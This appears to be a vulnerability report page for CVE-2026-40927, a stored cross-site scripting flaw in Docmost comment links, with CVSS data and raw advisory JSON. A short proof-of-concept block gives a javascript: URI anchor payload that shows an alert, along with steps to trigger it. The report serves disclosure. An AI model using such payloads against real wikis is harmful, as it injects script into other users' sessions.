Security Vulnerability Report
中文
CVE-2026-40927 CVSS 5.4 MEDIUM

CVE-2026-40927

Published: 2026-04-21 21:16:46
Last Modified: 2026-04-23 15:50:16

Description

Docmost is open-source collaborative wiki and documentation software. Prior to 0.80.0, when leaving a comment on a page, it is possible to include a JavaScript URI as the link. When a user clicks on the link the JavaScript executes. This vulnerability is fixed in 0.80.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:* - VULNERABLE
Docmost < 0.80.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-40927 --> <!-- 1. Log in to Docmost and navigate to a page. --> <!-- 2. Add a comment and insert a link with the following payload: --> <a href="javascript:alert('CVE-2026-40927_PoC_Success')">Click Me</a> <!-- 3. Submit the comment. --> <!-- 4. As a victim user, click the link to trigger the XSS. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40927", "sourceIdentifier": "[email protected]", "published": "2026-04-21T21:16:46.110", "lastModified": "2026-04-23T15:50:16.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docmost is open-source collaborative wiki and documentation software. Prior to 0.80.0, when leaving a comment on a page, it is possible to include a JavaScript URI as the link. When a user clicks on the link the JavaScript executes. This vulnerability is fixed in 0.80.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.80.0", "matchCriteriaId": "AB509D3E-B633-49F2-85E9-48A9B23B246F"}]}]}], "references": [{"url": "https://github.com/docmost/docmost/security/advisories/GHSA-4gv6-jw3v-wc34", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}